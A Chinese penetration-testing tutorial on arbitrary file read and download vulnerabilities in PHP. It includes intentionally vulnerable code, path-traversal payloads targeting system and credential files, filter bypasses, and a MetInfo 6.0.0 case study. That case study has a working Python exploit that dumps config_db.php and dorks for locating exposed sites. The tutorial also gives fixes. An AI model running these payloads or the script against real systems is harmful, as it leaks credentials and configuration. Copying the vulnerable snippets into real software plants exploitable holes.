文章目录
- 渗透测试漏洞原理
- 任意文件读取
-
- [1. 任意文件读取概述](#1. 任意文件读取概述)
-
- [1.1 漏洞成因](#1.1 漏洞成因)
- [1.2 漏洞危害](#1.2 漏洞危害)
- [1.3 漏洞分类](#1.3 漏洞分类)
- [1.4 任意文件读取](#1.4 任意文件读取)
-
- [1.4.1 文件读取](#1.4.1 文件读取)
- [1.4.2 任意文件读取](#1.4.2 任意文件读取)
- [1.4.3 权限问题](#1.4.3 权限问题)
- [1.5 任意文件下载](#1.5 任意文件下载)
-
- [1.5.1 一般情况](#1.5.1 一般情况)
- [1.5.2 PHP实现](#1.5.2 PHP实现)
- [1.5.3 任意文件下载](#1.5.3 任意文件下载)
- [2. 任意文件读取攻防](#2. 任意文件读取攻防)
-
- [2.1 路径过滤](#2.1 路径过滤)
-
- [2.1.1 过滤../](#2.1.1 过滤../)
- [2.2 简单绕过](#2.2 简单绕过)
-
- [2.2.1 双写绕过](#2.2.1 双写绕过)
- [2.2.2 绝对路径](#2.2.2 绝对路径)
- [2.2.3 使用..\](#2.2.3 使用..)
- [2.2.4 设置白名单](#2.2.4 设置白名单)
- [3. 任意文件读取挖掘](#3. 任意文件读取挖掘)
-
- [3.1 手工挖掘](#3.1 手工挖掘)
- [3.2 经典案例(metlnfo_6.0.0_file-read)](#3.2 经典案例(metlnfo_6.0.0_file-read))
-
- [3.2.1 漏洞描述](#3.2.1 漏洞描述)
- [3.2.2 漏洞等级](#3.2.2 漏洞等级)
- [3.2.3 影响版本](#3.2.3 影响版本)
- [3.2.4 漏洞复现](#3.2.4 漏洞复现)
- [3.2.5 漏洞点分析](#3.2.5 漏洞点分析)
- [3.2.6 深度利用](#3.2.6 深度利用)
- [3.2.7 修复建议](#3.2.7 修复建议)
- [4. 漏洞修复方案](#4. 漏洞修复方案)
-
- [4.1 输入验证](#4.1 输入验证)
- [4.2 避免其他漏洞](#4.2 避免其他漏洞)
- [4.3 限定文件的访问范围](#4.3 限定文件的访问范围)
渗透测试漏洞原理
任意文件读取
1. 任意文件读取概述
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。
- 任意文件读取会造成(敏感)信息泄露:
- 任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
- 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
1.1 漏洞成因
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
- 存在读取文件的功能(函数),也就是说,Wb应用开放了文件读取功能:
- 读取文件的路径客户端可控,完全控制或影响文件路径参数:
- 没有对文件路径进行校验或者校验不严导致校验被绕过,
- 输出了文件的内容。
1.2 漏洞危害
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。
任意文件读取与下载重点关注的文件:
- 源代码
- 配置文件
- 敏感文件
- 日志文件
- ...
1.3 漏洞分类
- 任意文件读取
- 任意文件下载
1.4 任意文件读取
以PHP脚本为例子,有一些函数可以实现文件读取功能。
1.4.1 文件读取
读取文件的函数 | 函数特点 |
---|---|
readfile() | 直接读取文件内容 自带输出功能 |
feed() | 直接读取文件内容 需要输出读取内容 |
fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
函数具体介绍:PHP: Hypertext Preprocessor。
实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。
readfile:
php
// readfile.php
<?php
$fp = "../phpinfo.php";
readfile($fp);
?>
访问页面,查看页面源代码,读取成功。
file_get_contents:
php
// file_get_contents.php
<?php
$fp = "../phpinfo.php";
echo file_get_contents($fp);
?>
访问页面,查看页面源代码,读取成功。
fread:
php
// fread.php
<?php
$fp = "../phpinfo.php";
$f = fopen($fp,'r'); //打开文件
$f_size = filesize($fp); //计算文件大小
echo fread($f, $f_size); //读取文件内容并输出到页面上
fclose($f);
?>
访问页面,查看页面源代码,读取成功。
1.4.2 任意文件读取
变量$fp,会捕获GET方式传递过来的filepath参数。
php
$fp = @$_GET['filepath'];
filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
php
?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini
?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts
1.4.3 权限问题
- Windows + IIS + ASP/ASPX:低权限
- Windows + Apache + php:高权限
- Windows + Java:高权限
- Linux + Apache + PHP:低权限
- Linux + Nginx + PHP:不一定
- Linux + Java:高权限
1.5 任意文件下载
1.5.1 一般情况
直接下载:例如图片另存为。
a标签下载:
php
<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP实现
PHP文件下载实现过程:
- 先读取文件
- 在输出文件
- 提供下载
php
// file-download.php
<?php
$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
?>
1.5.3 任意文件下载
任意文件下载的条件:
- 已知目标文件路径
- 目标文件路径,客户端可控
- 没有经过校验或校验不严格
php
$fp = $_GET['filepath'];
实验:
php
<?php
$fp = $_GET['filepath'];
// header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
?>
下载成功
文件内容如下:
2. 任意文件读取攻防
2.1 路径过滤
2.1.1 过滤.../
php
<?php
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);
readfile($fp);
?>
2.2 简单绕过
2.2.1 双写绕过
php
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2 绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3 使用...\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
2.2.4 设置白名单
设置只能访问a,b,cPHP文件
php
<?php
$fp = @$_GET['filepath'];
if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){
readfile($fp);
}else{
echo "Please stop!";
}
?>
3. 任意文件读取挖掘
3.1 手工挖掘
从文件名上看 | 从参数名上看 |
---|---|
readfile.php filedownload.php filelist.php | f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= |
3.2 经典案例(metlnfo_6.0.0_file-read)
下载链接:MetInfo历史版本与文件。
说明 | 内容 |
---|---|
漏洞编号 | -- |
漏洞名称 | MetInfo 6.0.0 任意文件读取漏洞 |
漏洞评级 | 高危 |
影响范围 | MetInfo 6.0.0 |
漏洞描述 | MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。 |
修复方案 | 打补丁 升级 上设备 |
3.2.1 漏洞描述
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php
文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
3.2.2 漏洞等级
高危
3.2.3 影响版本
MetInfo 6.0.0
3.2.4 漏洞复现
基础环境
组件 | 版本 |
---|---|
OS | Microsoft Windows Server 2016 Standard |
Web Server | phpStudy 2016 |
MetInfo | 6.0.0 |
安装过程
访问页面
漏洞点
/include/thumb.php
页面访问该路径
http://127.0.0.1/MetInfo_6.0.0/include/thumb.php
使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。
将抓取到的数据包右键发送到重发器上。
第一次测试
/include/thumb.php?dir=..././http/..././config/config_db.php
第二次测试
/include/thumb.php?dir=.....///http/.....///config/config_db.php
第三次测试
/include/thumb.php?dir=http/.....///.....///config/config_db.php
第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php
注意:
- 此POC 仅适用于Windows 系统,Linux 下无效。
- 因为输入的右斜线\在windows中作为目录的分隔符,而linux中不是。
3.2.5 漏洞点分析
漏洞点产生位置在thumb.php文件
加载old_thumb类
说明:这里的防守做两步判断
-
将.../和./全部过滤为空。
-
if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。
-
readfile():任意文件读取函数
-
dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。
3.2.6 深度利用
exp编写
python
import requests
import sys
banner = """
MetInfo 6.0.0
___________.__.__ __________ .___
\_ _____/|__| | ____ \______ \ ____ _____ __| _/
| __) | | | _/ __ \ | _// __ \\__ \ / __ |
| \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ |
\___ / |__|____/\___ > |____|_ /\___ >____ /\____ |
\/ \/ \/ \/ \/ \/
Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}
dir_list = [
"..././http/..././config/config_db.php",
".....///http/.....///config/config_db.php",
"http/.....///.....///config/config_db.php",
"http\..\..\config\config_db.php"
]
def attack(host):
vul = "/include/thumb.php"
url = host + vul
res = requests.get(url = url, headers = headers)
if res.status_code != 200:
print(f"[INFO] {vul} is Not Exists!")
exit()
print(f"[INFO] {vul} is Exists!")
for param in dir_list:
params = {
"dir": param
}
res = requests.get(url = url, params = params, headers = headers)
print(f"[INFO] Test URL: {res.url}")
if "<?php" in res.text:
print("[RESULT] The target is vulnreable!")
print(f"[RESULT]\n{res.text}")
break
if len(sys.argv) < 2:
print(banner)
exit()
host = sys.argv[1]
attack(host = host)
漏洞挖掘
指纹信息
传统搜索引擎
Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"
FOFA
app="metinfo"
ZoomEye
app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.7 修复建议
- 打补丁
- 升级
- 上设备
4. 漏洞修复方案
4.1 输入验证
- 让web用户只能访问(读取),所需要的文件和路径。
4.2 避免其他漏洞
- 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。
4.3 限定文件的访问范围
让用户不能访问Web根目录以外的路径。
php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围。
php
open_basedir = C:\software\phpstudy_pro\WWW
实验
不做限定的情况:
做限定的情况:
但是这样还有读取到当前的配置文件。
解决方式:所有的修复方案需要配合使用。